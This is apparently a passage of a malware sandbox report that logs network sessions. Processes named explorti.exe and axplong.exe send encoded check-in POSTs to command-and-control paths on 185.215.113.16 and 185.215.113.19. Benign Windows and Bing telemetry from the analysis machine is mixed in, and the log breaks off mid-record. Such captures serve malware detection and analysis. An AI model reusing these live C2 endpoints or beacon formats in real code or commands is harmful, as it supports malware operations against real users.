Jul 26, 2024 10:42:20.701957941 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:42:21.474767923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50001	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:08.624609947 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:09.459939003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:20.729794979 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:42:21.532319069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50003	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:08.994393110 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:38:09.784862041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50004	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:09.576740026 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:10.365995884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50005	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:09.907694101 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:10.695329905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50007	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:38:10.503241062 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:38:11.333297014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:38:11.339186907 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:38:11.596951962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:42:23.379694939 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:42:24.169234991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49711	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:36:06 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 66 33 38 2b 4c 57 53 61 55 53 63 38 54 72 6f 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 66 34 30 36 36 39 31 39 64 61 35 37 66 35 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: Tf38+LWSaUSc8Tro.1Context: 1f4066919da57f55
2024-07-26 08:36:06 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:36:06 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 54 66 33 38 2b 4c 57 53 61 55 53 63 38 54 72 6f 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 66 34 30 36 36 39 31 39 64 61 35 37 66 35 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: Tf38+LWSaUSc8Tro.2Context: 1f4066919da57f55<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:36:06 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 54 66 33 38 2b 4c 57 53 61 55 53 63 38 54 72 6f 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 66 34 30 36 36 39 31 39 64 61 35 37 66 35 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: Tf38+LWSaUSc8Tro.3Context: 1f4066919da57f55<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:36:06 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:36:06 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 36 43 45 6b 6a 63 6a 53 7a 45 36 31 32 30 2f 53 59 6d 50 39 42 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 6CEkjcjSzE6120/SYmP9BQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49712	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:36:14 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 37 62 65 58 5a 54 48 66 6f 55 4f 36 57 47 2f 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 33 65 63 37 36 34 30 37 64 39 66 36 35 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 7beXZTHfoUO6WG/b.1Context: 6a3ec76407d9f653
2024-07-26 08:36:14 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-07-26 08:36:14 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 37 62 65 58 5a 54 48 66 6f 55 4f 36 57 47 2f 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 33 65 63 37 36 34 30 37 64 39 66 36 35 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 48 74 6f 70 66 54 42 56 71 76 36 75 56 48 4a 72 62 73 42 53 2f 6c 49 72 55 34 39 64 4d 2b 39 6b 59 49 65 43 4b 2f 36 43 2f 35 6b 41 50 6f 4f 32 77 62 75 75 30 37 68 50 66 64 36 37 55 42 5a 4f 4d 45 67 44 58 78 42 35 71 54 61 48 79 41 58 6f 53 6d 31 63 44 57 58 76 75 6a 64 52 6d 77 6a 52 46 5a 5a 54 68 4a 6f 54 43 6d 5a 6c Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: 7beXZTHfoUO6WG/b.2Context: 6a3ec76407d9f653<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAbHtopfTBVqv6uVHJrbsBS/lIrU49dM+9kYIeCK/6C/5kAPoO2wbuu07hPfd67UBZOMEgDXxB5qTaHyAXoSm1cDWXvujdRmwjRFZZThJoTCmZl
2024-07-26 08:36:14 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 37 62 65 58 5a 54 48 66 6f 55 4f 36 57 47 2f 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 61 33 65 63 37 36 34 30 37 64 39 66 36 35 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 7beXZTHfoUO6WG/b.3Context: 6a3ec76407d9f653<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-07-26 08:36:14 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-07-26 08:36:14 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 2f 30 72 78 78 65 5a 73 38 45 2b 53 32 37 6a 2b 6e 6c 6d 79 2f 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: /0rxxeZs8E+S27j+nlmy/w.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49717	173.222.162.64	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:36:22 UTC	2256	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A410900C4F3 X-BM-CBT: 1696488253 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Device-ClientSession: 1D6F504B5A5A465DBDB84F31C63A581D X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A410900C4F3 X-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshldspcl40,msbdsborgv2co,msbwdsbi920cf,optfsth3,premsbdsbchtupcf,wsbfixcachec,wsbqfasmsall_c,wsbqfminiserp_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 516 Connection: Keep-Alive Cache-Control: no-cache Cookie: SRCHUID=V=2&GUID=CE2BE0509FF742BD822F50D98AD10391&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231005; SRCHHPGUSR=SRCHLANG=en&HV=1696488191&IPMH=5767d621&IPMID=1696488252989&LUT=1696487541024; CortanaAppUID=2020E25DAB158E420BA06F1C8DEF7959; MUID=81C61E09498D41CC97CDBBA354824ED1; _SS=SID=1D9FAF807E686D422B86BC217FC66C71&CPID=1696488253968&AC=1&CPH=071f2185; _EDGE_S=SID=1D9FAF807E686D422B86BC217FC66C71; MUIDB=81C61E09498D41CC97CDBBA354824ED1
2024-07-26 08:36:22 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-07-26 08:36:22 UTC	515	OUT	Data Raw: 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 38 31 43 36 31 45 30 39 34 39 38 44 34 31 43 43 39 37 43 44 42 42 41 33 35 34 38 32 34 45 44 31 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 33 35 31 41 41 38 32 41 45 39 30 43 34 36 36 39 39 46 35 42 31 46 45 33 34 32 42 45 37 45 31 30 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 54 22 3a 22 43 49 2e 42 6f 78 4d 6f 64 65 6c 22 2c 22 46 49 44 22 3a 22 43 49 Data Ascii: ClientInstRequest><CID>81C61E09498D41CC97CDBBA354824ED1</CID><Events><E><T>Event.ClientInst</T><IG>351AA82AE90C46699F5B1FE342BE7E10</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","T":"CI.BoxModel","FID":"CI
2024-07-26 08:36:22 UTC	480	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 416FD6DA7FF04055A0AD13819757161F Ref B: LAX311000108029 Ref C: 2024-07-26T08:36:22Z Date: Fri, 26 Jul 2024 08:36:22 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.40a6dc17.1721982982.130dd924

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49720	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-07-26 08:36:26 UTC	70	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 34 0d 0a 4d 53 2d 43 56 3a 20 6f 67 75 43 69 41 79 32 50 30 4b 71 41 33 74 65 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 36 37 33 39 66 31 63 64 64 65 39 65 65 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 304MS-CV: oguCiAy2P0KqA3te.1Context: b6739f1cdde9ee6
2024-07-26 08:36:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 